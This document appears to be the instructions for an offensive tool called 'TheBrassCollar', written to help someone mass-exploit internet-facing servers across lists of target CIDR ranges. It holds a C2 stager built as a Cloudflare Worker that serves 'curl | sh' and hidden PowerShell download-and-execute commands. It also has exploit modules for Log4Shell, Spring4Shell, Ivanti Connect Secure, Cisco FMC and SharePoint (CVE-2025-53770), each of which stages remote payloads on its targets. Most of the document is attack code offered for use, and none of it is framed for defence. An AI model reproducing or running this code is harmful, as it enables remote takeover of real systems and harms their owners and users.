https://codeberg.org/changtan/TheBrassCollar
Git clone the repo
git clone git@codeberg.org/changtan/TheBrassCollar.git
Modify the /lib/utils.py file and point the RCE_COMMAND at your C2 stager script
RCE_COMMAND = 'curl -sSL https://c2/nixpayload.sh | sh; cmd.exe /c start "" /min powershell -WindowStyle Hidden -Command "iwr -uri \'https://c2/windowspayload.ps1\' | iex"'Make your Sharepoint Payload to use CVE-2025-53770 (out of 25 CVEs) and export the gadget chain as payload-final.txt
https://github.com/soltanali0/CVE-2025-53770-Exploit
Then run this bash script to attack a list of CIDRs in a single column file. The —threshold argument is to detect shut down CIDRs (like Russian or Iranian) when a adversarial nation decides to shutdown a entire CIDR range due to attacks.
enemies_file=enemiesfile
split -l 5 enemiesfile /tmp/enemiesfile_
while :; do for i in $(ls *enemiesfile* | sort -r); do python exploit.py -p payload-final.txt -t 5 --threshold 20 $i; done; done
Some stages require a server. This does NOT require a VPS! You just use a free Cloudflare account and create a universal worker.
The worker functions as SRVHOST in Metasploit’s framework. In fact you can port Metasploit second-stage exploits into Cloudflare workers to keep your public internet facing C2 more efficient.
For example, this stages five second-stage exploits in BrassCollar. All SRVHOST variables point to your Cloudflare worker, which subsequently points to a rotating Cloudflare page.
export default {
async fetch(request, env, ctx) {
const url = new URL(request.url);
const path = url.pathname;
const host = url.host;
// 1. Payload Definitions
const PAYLOADS = {
// Standard POSIX (Nix) Stage: Downloads and executes in memory
"nix": `curl -sL http://${host}/bin | sh`,
// Windows Stage: PowerShell IEX (In-Memory Execution)
"win": `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://${host}/ps1')"`,
// Actual Binaries / Scripts served by the worker
"bin_script": `#!/bin/sh\n# Native Nix logic here\n/usr/bin/uname -a > /tmp/.info`,
"ps1_script": `Write-Output "Windows Staged"; # Native PS logic here`
};
// 2. Route Handling
switch (path) {
case "/s": // Auto-detect or default to Nix
return new Response(PAYLOADS.nix, { headers: { "Content-Type": "text/plain" } });
case "/w": // Explicit Windows Stage
return new Response(PAYLOADS.win, { headers: { "Content-Type": "text/plain" } });
case "/bin": // The actual Nix shell script
return new Response(PAYLOADS.bin_script, { headers: { "Content-Type": "application/x-sh" } });
case "/ps1": // The actual PowerShell script
return new Response(PAYLOADS.ps1_script, { headers: { "Content-Type": "text/plain" } });
case "/log4j": // Log4j HTTP-based Class Loading (No VPS needed)
// Redirects the JNDI lookup to a hosted .class file or Reference
return Response.redirect(`http://${host}/Exploit.class`, 302);
default:
return new Response("OK", { status: 200 });
}
}
};Log4Shell Module in Brass Collar.
def run(ip, session, srvhost="your-worker.workers.dev"):
# Point JNDI to the Worker's HTTP redirector
# Modern Log4j bypasses often use HTTP for the second stage class loading
payload = f"${{jndi:http://{srvhost}/log4j}}"
session.get(f"http://{ip}:8080", headers={'User-Agent': payload}, timeout=10)Cisco FMC Deserialization
def run(ip, session, srvhost="your-worker.workers.dev"):
# Staging the Nix command as the input to the gadget
staged_cmd = f"curl -sL http://{srvhost}/bin | sh"
# We generate the gadget to execute the staging command directly
payload = generate_payload("CommonsCollections6", staged_cmd)
session.post(f"https://{ip}/invoker/JMXInvokerServlet", data=payload, verify=False)Spring4Shell
def run(ip, session, srvhost="your-worker.workers.dev"):
# This exploit usually hits Linux-based Tomcats
staged_cmd = f"curl -sL http://{srvhost}/bin | sh"
# Execute the staging command via the hijacked log valve
session.get(f"http://{ip}:8080/tomcat_mgr.jsp", params={"cmd": staged_cmd})Ivanti Connect Secure
def run(ip, session, srvhost="your-worker.workers.dev"):
# ICS is Linux-based (CentOS/Alpine internal)
staged_cmd = f"curl -sL http://{srvhost}/bin | sh"
payload = {"type": f";{staged_cmd};"}
session.post(f"https://{ip}/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection", json=payload, verify=False)SharePoint
def run(ip, session, srvhost="your-worker.workers.dev"):
# Windows target: Use the PowerShell staging one-liner
staged_cmd = f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString('http://{srvhost}/ps1')\""
# Pack the LosFormatter gadget with the Windows command
final_gadget = pack_los_gadget(staged_cmd)
# ... delivery logic ...You should experiment with Metasploit modules and study their framework-level stagers (not the exploits)
Not the exploits but the exploit-builders itself. For example, when shellcode is injected like the heap grooming exploit of EternalBlue, its universally generated from a assembly module.
“I remember distinctly—and the last time I even touched Ruby was around Fall 2021 or Spring 2022—that you should really learn how to write your own Metasploit modules, especially for multi-stage exploits involving server listeners.
Ruby has its own unique ways of defining classes and modules. Their packages are called Gems. One of the things I liked to do in 2022 was using Railgun, which is a part of the Metasploit Meterpreter extension, not standard Ruby. It’s powerful because you can port a ton of exploits that Rapid7 solved, like BlueKeep, EternalRomance, or EternalBlue, just by studying how the framework works.
For example, everything is wrapped in a version of a class object using Mixins. That’s why you don’t see the full exploit code in every module; it just calls another class object to generate x86 or x64 shellcode. You can even study Reflective DLL Injection within the source. We are trying to modernize this by using Metasploit’s logic to create staged listeners that face the web anonymously by implementing them in JavaScript as Cloudflare Workers.
Also, I need to remember that Ruby doesn’t call them ‘dicts’ like Python; they are called Hashes.”









